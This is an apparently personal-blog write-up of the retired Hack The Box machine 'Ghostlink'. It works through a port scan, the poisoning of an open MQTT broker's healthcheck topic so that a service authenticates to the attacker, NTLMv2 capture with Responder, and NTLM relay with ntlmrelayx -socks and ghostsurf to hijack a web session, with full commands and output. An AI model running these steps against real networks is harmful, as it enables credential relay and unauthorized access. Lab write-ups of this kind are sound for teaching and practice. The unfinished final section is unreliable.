<- cd ../ (back to ~/writeups on the homepage)

[ writeup · case #001 ]

Ghostlink

A self-hosted Gogs instance (vulnerable to CVE-2025-8110, but it needs credentials) is coerced into authenticating to a rogue listener. Responder captures svc_canary's NTLMv2 — uncrackable — so instead an NTLM relay with ntlmrelayx -socks / ghostsurf hijacks the authenticated browser session…

date
2026-06-23
read
3 min
tags
#htb #retired
platform
htb
os
windows
difficulty
hard

Summary


Enumeration

Port Scan

bash
rustscan --range 1-65535 -a <target> -- -A
text
PORT      STATE SERVICE       REASON          VERSION
53/tcp    open  domain        syn-ack ttl 127 Simple DNS Plus
80/tcp    open  http          syn-ack ttl 127 Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
| http-methods: 
|   Supported Methods: OPTIONS TRACE GET HEAD POST
|_  Potentially risky methods: TRACE
|_http-title: Ghost Protocol Zero
88/tcp    open  kerberos-sec  syn-ack ttl 127 Microsoft Windows Kerberos (server time: 2026-08-28 18:11:54Z)
135/tcp   open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
139/tcp   open  netbios-ssn   syn-ack ttl 127 Microsoft Windows netbios-ssn
389/tcp   open  ldap          syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: ghostlink.htb, Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=dc01.ghostlink.htb
| Subject Alternative Name: othername: [REDACTED:IP].[REDACTED:IP].1:<unsupported>, DNS:dc01.ghostlink.htb
| Issuer: commonName=ghostlink-GPZ-OP26-SECURE-CA/domainComponent=ghostlink
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2026-03-03T16:53:53
| Not valid after:  2027-03-03T16:53:53
| MD5:     67e4 aece a99f d27e 070c 64af 5223 d817
| SHA-1:   0aa4 7883 fb11 35ab a666 2a69 d6c1 735f 31b7 ea91
| SHA-256: 167c cfec 311e ffed a00f 4e30 f4c4 1489 a6e2 5674 262d 0f66 fa9a b8d3 24b5 9d8e

445/tcp   open  microsoft-ds? syn-ack ttl 127
464/tcp   open  kpasswd5?     syn-ack ttl 127
593/tcp   open  ncacn_http    syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: ghostlink.htb, Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=dc01.ghostlink.htb
| Subject Alternative Name: othername: [REDACTED:IP].[REDACTED:IP].1:<unsupported>, DNS:dc01.ghostlink.htb
| Issuer: commonName=ghostlink-GPZ-OP26-SECURE-CA/domainComponent=ghostlink
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2026-03-03T16:53:53
| Not valid after:  2027-03-03T16:53:53
| MD5:     67e4 aece a99f d27e 070c 64af 5223 d817
| SHA-1:   0aa4 7883 fb11 35ab a666 2a69 d6c1 735f 31b7 ea91
| SHA-256: 167c cfec 311e ffed a00f 4e30 f4c4 1489 a6e2 5674 262d 0f66 fa9a b8d3 24b5 9d8e

1883/tcp  open  mqtt          syn-ack ttl 127
| mqtt-subscribe: 
|   Topics and their most recent payloads: 
|     $SYS/brokers/client_status/mqttui-4d93e587: {"status":"online", "username":"(null)", "ts":1787940784021,"proto_name":"MQTT","keepalive":60,"return_code":"0","proto_ver":4,"client_id":"mqttui-4d93e587","clean_start":1, "IPv4":"127.0.0.1"}
|     $SYS/brokers/client_status/mqttui-5b853f76: {"status":"offline", "username":"(null)","ts":1787940779808,"reason_code":"0","client_id":"mqttui-5b853f76","IPv4":"127.0.0.1"}
|_    $SYS/brokers/client_status/mqttui-dc1708af: {"status":"offline", "username":"(null)","ts":1787940781912,"reason_code":"0","client_id":"mqttui-dc1708af","IPv4":"127.0.0.1"}
2179/tcp  open  vmrdp?        syn-ack ttl 127
3268/tcp  open  ldap          syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: ghostlink.htb, Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=dc01.ghostlink.htb
| Subject Alternative Name: othername: [REDACTED:IP].[REDACTED:IP].1:<unsupported>, DNS:dc01.ghostlink.htb
| Issuer: commonName=ghostlink-GPZ-OP26-SECURE-CA/domainComponent=ghostlink
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2026-03-03T16:53:53
| Not valid after:  2027-03-03T16:53:53
| MD5:     67e4 aece a99f d27e 070c 64af 5223 d817
| SHA-1:   0aa4 7883 fb11 35ab a666 2a69 d6c1 735f 31b7 ea91
| SHA-256: 167c cfec 311e ffed a00f 4e30 f4c4 1489 a6e2 5674 262d 0f66 fa9a b8d3 24b5 9d8e

3269/tcp  open  ssl/ldap      syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: ghostlink.htb, Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc01.ghostlink.htb
| Subject Alternative Name: othername: [REDACTED:IP].[REDACTED:IP].1:<unsupported>, DNS:dc01.ghostlink.htb
| Issuer: commonName=ghostlink-GPZ-OP26-SECURE-CA/domainComponent=ghostlink
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2026-03-03T16:53:53
| Not valid after:  2027-03-03T16:53:53
| MD5:     67e4 aece a99f d27e 070c 64af 5223 d817
| SHA-1:   0aa4 7883 fb11 35ab a666 2a69 d6c1 735f 31b7 ea91
| SHA-256: 167c cfec 311e ffed a00f 4e30 f4c4 1489 a6e2 5674 262d 0f66 fa9a b8d3 24b5 9d8e
|
|_ssl-date: TLS randomness does not represent time
5985/tcp  open  http          syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp  open  mc-nmf        syn-ack ttl 127 .NET Message Framing
49664/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49670/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49671/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49685/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49686/tcp open  ncacn_http    syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
49908/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49952/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
51459/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 2022|2012|2016 (88%)
OS CPE: cpe:/o:microsoft:windows_server_2022 cpe:/o:microsoft:windows_server_2012:r2 cpe:/o:microsoft:windows_server_2016
OS fingerprint not ideal because: Missing a closed TCP port so results incomplete
Aggressive OS guesses: Microsoft Windows Server 2022 (88%), Microsoft Windows Server 2012 R2 (85%), Microsoft Windows Server 2016 (85%)
No exact OS matches for host (test conditions non-ideal).
TCP/IP fingerprint:
SCAN(V=7.99%E=4%D=8/28%OT=53%CT=%CU=%PV=Y%DS=2%DC=T%G=N%TM=6A915F54%P=x86_64-pc-linux-gnu)
SEQ(SP=102%GCD=1%ISR=107%TI=I%II=I%SS=S%TS=A)
SEQ(SP=105%GCD=1%ISR=10A%TI=I%II=I%SS=S%TS=A)
OPS(O1=M542NW8ST11%O2=M542NW8ST11%O3=M542NW8NNT11%O4=M542NW8ST11%O5=M542NW8ST11%O6=M542ST11)
WIN(W1=FFFF%W2=FFFF%W3=FFFF%W4=FFFF%W5=FFFF%W6=FFFF)
ECN(R=Y%DF=Y%TG=80%W=FFFF%O=M542NW8NNS%CC=Y%Q=)
T1(R=Y%DF=Y%TG=80%S=O%A=S+%F=AS%RD=0%Q=)
T2(R=N)
T3(R=N)
T4(R=N)
U1(R=N)
IE(R=Y%DFI=N%TG=80%CD=Z)

Uptime guess: 0.006 days (since Fri Aug 28 10:05:40 2026)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=261 (Good luck!)
IP ID Sequence Generation: Incremental
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode: 
|   3.1.1: 
|_    Message signing enabled and required
| p2p-conficker: 
|   Checking for Conficker.C or higher...
|   Check 1 (port 10374/tcp): CLEAN (Timeout)
|   Check 2 (port 19699/tcp): CLEAN (Timeout)
|   Check 3 (port 57006/udp): CLEAN (Timeout)
|   Check 4 (port 42269/udp): CLEAN (Timeout)
|_  0/4 checks are positive: Host is CLEAN or ports are blocked
| smb2-time: 
|   date: 2026-08-28T18:13:02
|_  start_date: N/A
|_clock-skew: 7h59m59s

Foothold

from the nmap scan above we can see that we have mqtt service open and exposed MQTT is a lightweight publish/subscribe messaging protocol built for low-bandwidth, unreliable networks a client connects to a broker, publishes messages to named "topics," and other clients subscribed to that topic get pushed the message.

bash
1883/tcp  open  mqtt          syn-ack ttl 127
| mqtt-subscribe: 
|   Topics and their most recent payloads: 
|     $SYS/brokers/client_status/mqttui-4d93e587: {"status":"online", "username":"(null)", "ts":1787940784021,"proto_name":"MQTT","keepalive":60,"return_code":"0","proto_ver":4,"client_id":"mqttui-4d93e587","clean_start":1, "IPv4":"127.0.0.1"}
|     $SYS/brokers/client_status/mqttui-5b853f76: {"status":"offline", "username":"(null)","ts":1787940779808,"reason_code":"0","client_id":"mqttui-5b853f76","IPv4":"127.0.0.1"}
|_    $SYS/brokers/client_status/mqttui-dc1708af: {"status":"offline", "username":"(null)","ts":1787940781912,"reason_code":"0","client_id":"mqttui-dc1708af","IPv4":"127.0.0.1"}
2

so using mosquitto_sub we can connect and see the exchanged messages

bash
❯ mosquitto_sub -h [REDACTED:IP] -t '#' -v -d
Client null sending CONNECT
Client (null) received CONNACK (0)
Client null sending SUBSCRIBE (Mid: 1, Topic: #, QoS: 0, Options: 0x00)
Client null received PUBLISH (d0, q0, r1, m0, 'GhostProtocolZero/energy/grid/frequency', ... (117 bytes))
GhostProtocolZero/energy/grid/frequency {"timestamp":"2026-28-08-22:31:03","node":"node-3","telemetry":{"ip":"[REDACTED:IP]","loadPercent":64,"hz":211931289.9}}
Client null received PUBLISH (d0, q0, r1, m0, 'GhostProtocolZero/identity/trust-provider/state', ... (126 bytes))
GhostProtocolZero/identity/trust-provider/state {"timestamp":"2026-28-08-22:31:03","node":"node-1","telemetry":{"ip":"[REDACTED:IP]","tokenValidation":"normal","authErrors":14}}
Client null received PUBLISH (d0, q0, r1, m0, 'GhostProtocolZero/network/node/healthcheck', ... (169 bytes))
GhostProtocolZero/network/node/healthcheck {"timestamp":"2026-28-08-22:31:03","node":"node-2","telemetry":{"healthy":false,"url":"https://energy-grid.ghostlink.htb/canary","lastCheckSecAgo":29,"ip":"[REDACTED:IP]"}}
Client null received PUBLISH (d0, q0, r1, m0, 'GhostProtocolZero/network/node/keepalive', ... (160 bytes))
GhostProtocolZero/network/node/keepalive {"timestamp":"2026-28-08-22:31:03","node":"node-2","telemetry":{"rttMs":41,"status":"alive","url":"https://energy-grid.ghostlink.htb/canary","ip":"[REDACTED:IP]"}}
Client null received PUBLISH (d0, q0, r1, m0, 'GhostProtocolZero/space/satellite/timing-drift', ... (118 bytes))
GhostProtocolZero/space/satellite/timing-drift {"timestamp":"2026-28-08-22:31:03","node":"node-1","telemetry":{"driftNs":227,"ip":"[REDACTED:IP]","syncState":"locked"}}
Client null received PUBLISH (d0, q0, r1, m0, 'GhostProtocolZero/telecom/core-routing/health', ... (133 bytes))
GhostProtocolZero/telecom/core-routing/health {"timestamp":"2026-28-08-22:31:03","node":"node-2","telemetry":{"ip":"[REDACTED:IP]","packetLoss":4355185410,"routeStability":"stable"}}
Client null received PUBLISH (d0, q0, r1, m0, 'GhostProtocolZero/transport/logistics/status', ... (117 bytes))
GhostProtocolZero/transport/logistics/status {"timestamp":"2026-28-08-22:31:03","node":"node-1","telemetry":{"throughput":85,"anomaly":"delay","ip":"[REDACTED:IP]"}}
Client null received PUBLISH (d0, q0, r1, m0, 'GhostProtocolZero/systems/node/domain/healthcheck', ... (156 bytes))
GhostProtocolZero/systems/node/domain/healthcheck {"timestamp":"2026-28-08-22:31:18","node":"node-4","telemetry":{"healthy":true,"url":"dc01.ghostlink.htb/healthcheck","latencyMs":182,"ip":"[REDACTED:IP]"}}
Client null received PUBLISH (d0, q0, r1, m0, 'GhostProtocolZero/systems/node/repository/healthcheck', ... (194 bytes))
GhostProtocolZero/systems/node/repository/healthcheck {"timestamp":"2026-28-08-22:31:19","node":"node-5","telemetry":{"healthy":true,"url":"gpz-op26-toolkits.ghostlink.htb/healthcheck","lastCheckSecAgo":25,"responseCode":"200","ip":"[REDACTED:IP]"}}
Client null received PUBLISH (d0, q0, r1, m0, 'GhostProtocolZero/systems/node/secureshare/healthcheck', ... (192 bytes))
GhostProtocolZero/systems/node/secureshare/healthcheck {"timestamp":"2026-28-08-22:31:19","node":"node-6","telemetry":{"healthy":true,"url":"gpz-op26-secure.ghostlink.htb/healthcheck","lastCheckSecAgo":10,"responseCode":"200","ip":"[REDACTED:IP]"}}

we can see that there's some exposed subdomains

text
gpz-op26-toolkits.ghostlink.htb
gpz-op26-secure.ghostlink.htb
energy-grid.ghostlink.htb

looks like gpz-op26-secure.ghostlink.htb is secure screenshot 1 (opens the full-size image) let's check the other subdomains the toolkit one is running gogs which is a self hosted git service screenshot 2 (opens the full-size image) reading the source code we can find something interesting

html
	<script src="[/js/gogs.js?v=[REDACTED:HASH]](view-source:http://gpz-op26-toolkits.ghostlink.htb/js/gogs.js?v=[REDACTED:HASH])"></script>

looks like a js script for gogs with the version with a string of a git commit we can search using this format

text
https://github.com/{owner}/{repository}/commit/{commit_hash}

now we got a confirmed version screenshot 3 (opens the full-size image) that version is vulnerable to CVE-2025-8110 it's an authenticated RCE but since we have no credentials it's basically pointless so looks like we need more digging into the mqtt service first let's read the topic

bash
❯ mosquitto_sub -h ghostlink.htb -t "GhostProtocolZero/systems/node/secureshare/healthcheck"  -v -C 1
GhostProtocolZero/systems/node/secureshare/healthcheck {"timestamp":"2026-29-08-12:01:02","node":"node-6","telemetry":{"healthy":true,"url":"gpz-op26-secure.ghostlink.htb/healthcheck","lastCheckSecAgo":40,"responseCode":"200","ip":"[REDACTED:IP]"}}

then we're gonna try to modify the url and set a responder

bash
sudo responder -I tun0 -v

then we publish a poisoned retained message for testing

bash
mosquitto_pub -h ghostlink.htb -t "GhostProtocolZero/systems/node/secureshare/healthcheck" \
  -r -m '{"timestamp":"2026-03-03-09:26:21","node":"node-6","telemetry":{"healthy":true,"url":"http://[REDACTED:IP]","lastCheckSecAgo":45,"responseCode":"200","ip":"[REDACTED:IP]"}}'

it comes back after seconds but that hash is uncrackable

text
[HTTP] Sending NTLM authentication request to [REDACTED:IP]
[HTTP] GET request from: ::ffff:[REDACTED:IP]  URL: / 
[HTTP] NTLMv2 Client   : [REDACTED:IP]
[HTTP] NTLMv2 Username : ghostlink\svc_canary
[HTTP] NTLMv2 Hash     : svc_canary::ghostlink:48a1496b42918e20:[REDACTED:HASH]:01010000000000007985EE7FEE37DD014C47F8703FC67A5D0000000002000800590030004700460001001E00570049004E002D0041004F0051004A00470032004C0045004E00470045000400140059003000470046002E004C004F00430041004C0003003400570049004E002D0041004F0051004A00470032004C0045004E00470045002E0059003000470046002E004C004F00430041004C000500140059003000470046002E004C004F00430041004C000800500050000000000000000000000000400000AF332C07752F07548838533977278E06D28D03918AFA948ADFD6BE88E8288E159EA6E0B56B1FC312F086641EDEA22BE27F255F4E3441AFE2B8AB0BC43190031D0A001000000000000000000000000000000000000900200048005400540050002F00310030002E00310030002E00310036002E00360032000000000000000000 

now we'll try another test with ntlmrelayx because the difference that it that it can actually respond to the incoming traffic instead of just capturing and stopping

bash
❯ impacket-ntlmrelayx -t http://gpz-op26-secure.ghostlink.htb --http-port 8888 --keep-relaying

first we setup ntlmrelayx and then we trigger it same as before but this time we edit it to port 8888

bash
❯ mosquitto_pub -h ghostlink.htb -t "GhostProtocolZero/systems/node/secureshare/healthcheck" \
  -r -m '{"timestamp":"2026-03-03-09:26:21","node":"node-6","telemetry":{"healthy":true,"url":"http://[REDACTED:IP]:8888","lastCheckSecAgo":45,"responseCode":"200","ip":"[REDACTED:IP]"}}'

and we can see we get the following response

bash
[*] Servers started, waiting for connections
[*] (HTTP): Client requested path: /
[*] (HTTP): Client requested path: /
[*] (HTTP): Connection from [REDACTED:IP] controlled, attacking target http://gpz-op26-secure.ghostlink.htb
[*] (HTTP): Client requested path: /
[*] (HTTP): Client requested path: /
[*] (HTTP): Connection from [REDACTED:IP] controlled, attacking target http://gpz-op26-secure.ghostlink.htb
[*] (HTTP): Client requested path: /
[*] HTTP server returned error code 200, treating as a successful login
[*] (HTTP): Authenticating connection from GHOSTLINK/SVC_CANARY@[REDACTED:IP] against http://gpz-op26-secure.ghostlink.htb SUCCEED [1]
DEFAULT CASE
200 OK
b'<!DOCTYPE html>\n<html lang="en">\n\n<head>\n    <meta charset="utf-8" />\n    <meta name="viewport" content="width=device-width, initial-scale=1.0" />\n    <meta name="description" content="Ghost Protocol Zero - Secure File Sharing" />\n    <base href="/" />\n    <link rel="stylesheet" href="lib/bootstrap/dist/css/bootstrap.min.css" />\n    <link rel="stylesheet" href="app.css" />\n    <link rel="icon" type="image/x-icon" href="favicon.png" />\n    <title>Ghost Protocol Zero | Secure Operations Channel</title>\n</head>\n\n<body>\n    <nav 

-socks tells ntlmrelayx to not just do a single one-shot relay attack (grab the auth, do one action, done) but to instead spin up a SOCKS proxy server

Without -socks: when the victim authenticates, ntlmrelayx uses that one authenticated session to do one thing (e.g. dump a page, run one command) and then the session is done.

With -socks: after a successful relay, ntlmrelayx holds that authenticated session open and exposes it as an entry in a local SOCKS proxy

bash
[*] (HTTP): Client requested path: /
[*] (HTTP): Client requested path: /
[*] (HTTP): Connection from [REDACTED:IP] controlled, attacking target http://gpz-op26-secure.ghostlink.htb
[*] (HTTP): Client requested path: /
[*] HTTP server returned error code 200, treating as a successful login
[*] (HTTP): Authenticating connection from GHOSTLINK/SVC_CANARY@[REDACTED:IP] against http://gpz-op26-secure.ghostlink.htb SUCCEED [1]
[*] SOCKS: Adding HTTP://GHOSTLINK/[REDACTED:EMAIL](80) [1] to active SOCKS connection. Enjoy

ntlmrelayx could relay but with a lot of modification hence why we're gonna need a new tool for this step which is ghostsurf make sure to on Line 52 of: ghostsurf/lib/relay/utils/config.py add:

text
self.remove_target = False

and then we run it

bash
❯ python3 ghostsurf.py -t http://gpz-op26-secure.ghostlink.htb -r -k --http-port 8888 --no-smb-server

  ,--,   .-. .-. .---.    .---.  _______  .---. .-. .-.,---.    ,---.
.' .'    | | | |/ .-. )  ( .-._)|__   __|( .-._)| | | || .-.\   | .-'
|  |  __ | `-' || | |(_)(_) \     )| |  (_) \   | | | || `-'/   | `-.
\  \ ( _)| .-. || | | | _  \ \   (_) |  _  \ \  | | | ||   (    | .-'
 \  `-) )| | |)|\ `-' /( `-'  )    | | ( `-'  ) | `-')|| |\ \   | |
 )\____/ /(  (_) )---'  `----'     `-'  `----'  `---(_)|_| \)\  )\|
(__)    (__)    (_)  NTLM relay browser session hijacking  (__)(__)

[*] Target: http://gpz-op26-secure.ghostlink.htb
[*] SOCKS proxy started. Listening on 127.0.0.1:1080
[*] HTTP Socks Plugin loaded..
[*] HTTPS Socks Plugin loaded..
[*] SOCKS proxy: 127.0.0.1:1080
[*] Kernel-mode auth workaround ENABLED
[*] Keep-relaying mode ENABLED (will reload targets after success)
[*] Setting up HTTP Server on port 8888
[*] Setting up WCF Server on port 9389
[*] Setting up RAW Server on port 6666

[*] Servers started, waiting for connections
Type help for list of commands
ghostsurf>  * Serving Flask app 'lib.relay.servers.socksserver'
 * Debug mode: off

and then either in burpsuite/caido or even froxy proxy on the browser we add the socks proxy
screenshot 4 (opens the full-size image) then we can enter the website no login needed screenshot 5 (opens the full-size image)


Root Flag

bash
cat /home/light